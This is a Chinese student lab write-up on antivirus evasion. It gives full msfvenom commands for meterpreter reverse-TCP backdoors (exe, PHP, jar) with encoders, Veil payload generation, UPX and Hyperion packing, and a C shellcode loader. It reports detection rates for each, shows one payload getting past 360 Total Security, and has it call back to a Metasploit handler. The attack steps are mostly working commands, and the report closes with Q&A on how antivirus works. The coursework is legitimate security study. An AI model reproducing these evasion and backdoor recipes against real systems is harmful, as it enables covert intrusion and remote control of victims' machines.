• Exp3免杀原理


    一、实验内容

    1. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    2. veil,加壳工具
    3. 使用C + shellcode编程
    4. 通过组合应用各种技术实现恶意代码免杀
    5. 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、实验过程记录

    1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor.exe直接生成后门exe文件,然后进行检测(测试平台链接):
    image
    image
    发现检出率为53/69,还挺高的。

    使用Unicode编码一次,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor1.exe,然后进行检测:
    image
    image
    发现检出率没有变化。

    使用Unicode编码多次(下面的命令是编码了19次的,-i设置迭代次数),输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -19 -b ‘\x00’ LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor2.exe,然后进行检测:
    image
    image
    发现检出率为54/69,这里居然还上升了?

    利用php格式文件,输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 x> 20191319_backdoor_php.php,然后进行检测:
    image
    image
    发现检出率为21/57,检出率下降了很多。

    利用jar文件,输入命令msfvenom -p java/shell_reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f jar > 20191319_backdoor_jar.jar,然后进行检测:
    image
    image
    发现检出率为32/59。

    2.veil,加壳工具

    先输入下面的命令

    sudo apt-get install veil-evasion
    su                                 //进入root用户
    cd /usr/share/veil/config
    vim setup.sh                       //修改这个文件里面的260行(如下图所示)。
    

    image
    修改为https://gitee.com/spears/VeilDependencies.git 的原因是从国内的 gitee 上下载文件速度快点。
    修改成功后,输入veil等待安装
    image
    正常安装相关模块(一路next下去就行)
    image
    image
    image
    安装完成,但是启动报错。根据错误提示,执行如下命令:/usr/share/veil/config/setup.sh --force --silent
    image
    然后输入veil发现能够正常启动了,接着输入如下命令:

    use evasion                  //进入Evil—Evasion
    use c/meterpreter/rev_tcp.py //进入配置界面
    set LHOST 192.168.30.141     //设置反弹链接ip,此处为Kali的ip
    set LPORT 11319              //设置端口
    generate
    20191319veil                //文件名称
    

    image
    找到生成的文件:
    image
    进行检测:
    image
    发现检出率为38/68,检出率还是很高。

    免杀加壳尝试

    压缩壳UPX:给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,命令为upx 20191319veil.exe -o 20191319_veil_upx.exe
    image
    image
    检出率和没有加壳时一样,看来目前杀软对于加壳的检测能力很强。

    3. 使用C + shellcode编程

    使用msfvenom得到shellcode,命令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f c
    image
    输入命令vim 20191319_shellcode_c.c来编辑c文件。将生成的shellcode和代码int main() { int (*func)() = (int(*)())buf; func(); }放到这个c文件里面来。
    image
    输入命令i686-w64-mingw32-g++ 20191319_shellcode_c.c -o 20191319_shellcode_c.exe 将文件20191319_shellcode_c.c编译成可执行文件
    image
    然后进行检测
    image
    可以看到检出率比上面直接生成后门exe文件的检出率(53/69)下降许多了。

    4. 通过组合应用各种技术实现恶意代码免杀

    采用C语言调用bloxor编码的shellcode+加密壳Hyperion的方式达成免杀目的
    先输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.30.141 LPORT=11319 -f c生成shellcode,再放进20191319.c文件里面,再在电脑Dev——C++中编译
    image
    然后将编译好的文件放进虚拟机的/usr/share/windows-resources/hyperion路径下,然后输入命令wine hyperion.exe -v 20191319.exe 20191319_Hyperion.exe进行加壳
    image
    再将生成的20191319_Hyperion.exe移动到电脑,再使用360查杀,发现免杀了。
    image

    5. 附加题:用电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    电脑的杀软名称与版本:360安全卫士,版本如下图:

    image
    原本想要用上面的20191319_Hyperion.exe来进行尝试,结果运行一会就被360杀掉了。于是换了另外的方法:
    先输入su切换root用户,接着输入veil之后再输入use evasion进入免杀平台,输入list可以查看可用的payloads。我选择使用28:
    image
    输入use python/meterpreter/rev_tcp.py或者use 28进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
    image
    输入set LHOST 192.168.30.141set LPORT 11319来设置反弹连接的IP地址和端口号。
    输入generate生成文件,根据提示输入文件名:20191319_veil_backdoor
    image
    生成文件时,系统会问如何创建负载可执行文件?我选择了1,然后根据下图找到生成的文件,再将生成的文件复制到Windows中
    image
    进行360查杀发现没有问题:
    image
    在kali上使用msfconsole指令进入msf控制台对msf控制台进行配置。
    然后依次输入以下命令

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.30.141
    set LPORT 11319
    expliot
    

    image
    然后在Windows运行20191319_veil_backdoor.exe,发现成功回连
    image

    三、基础问题回答

    1. 杀软是如何检测出恶意代码的?
        杀软的库中储存了大量恶意代码的特征码,当本机检测样本文件特征码与病毒库中病毒特征码进行比对,如果比对成功,那么就说明这是恶意代码。还有就是杀软实时监测程序的行为,当程序做出越界操作时,可以认为它是恶意代码。
    2. 免杀是做什么?
      免杀一般是通过各种方法对恶意软件或恶意代码进行“包装”,从而躲避杀软的查杀。
    3. 免杀的基本方法有哪些?
    • 改变特征码:
      如果是类似exe的可执行文件可以加壳,例如压缩壳,
      如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件,
      如果是源代码可以用其他语言进行重写再编译。
    • 改变行为:尽量使用反弹式连接;减少对系统的修改。
    • 非常规方法:使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件。
    1. 开启杀软能绝对防止电脑中恶意代码吗?
        从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的。杀软的病毒库是根据检测出来的病毒更新的,所谓道高一尺魔高一丈,恶意代码总有新的漏洞可以利用。

    四、实验总结与体会

      本次实验是在上次后门实验的基础上的进阶,难度也比上次提升不少,使用的命令和工具也变多。通过这次实验我了解了免杀的概念、免杀的基本方法。在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。

  • 相关阅读:
    .NET高级代码审计(第13课)反序列化Gadget之详解ObjectDataProvider完结篇
    sh脚本语法 1
    英语词汇替换词
    关于创业感悟第一篇关于夫妻店
    2021年度总结暨2022年归来
    测试
    Windows10专业版安全中心页面提示不可用 Windows defender 页面不可用 完美解决办法 在这里
    jmeter配置mysql插件以及连接
    centos更新安全补丁包
    centos配置yum源阿里
  • 原文地址:https://www.cnblogs.com/20191319cgh/p/16120065.html
Copyright © 2020-2023  润新知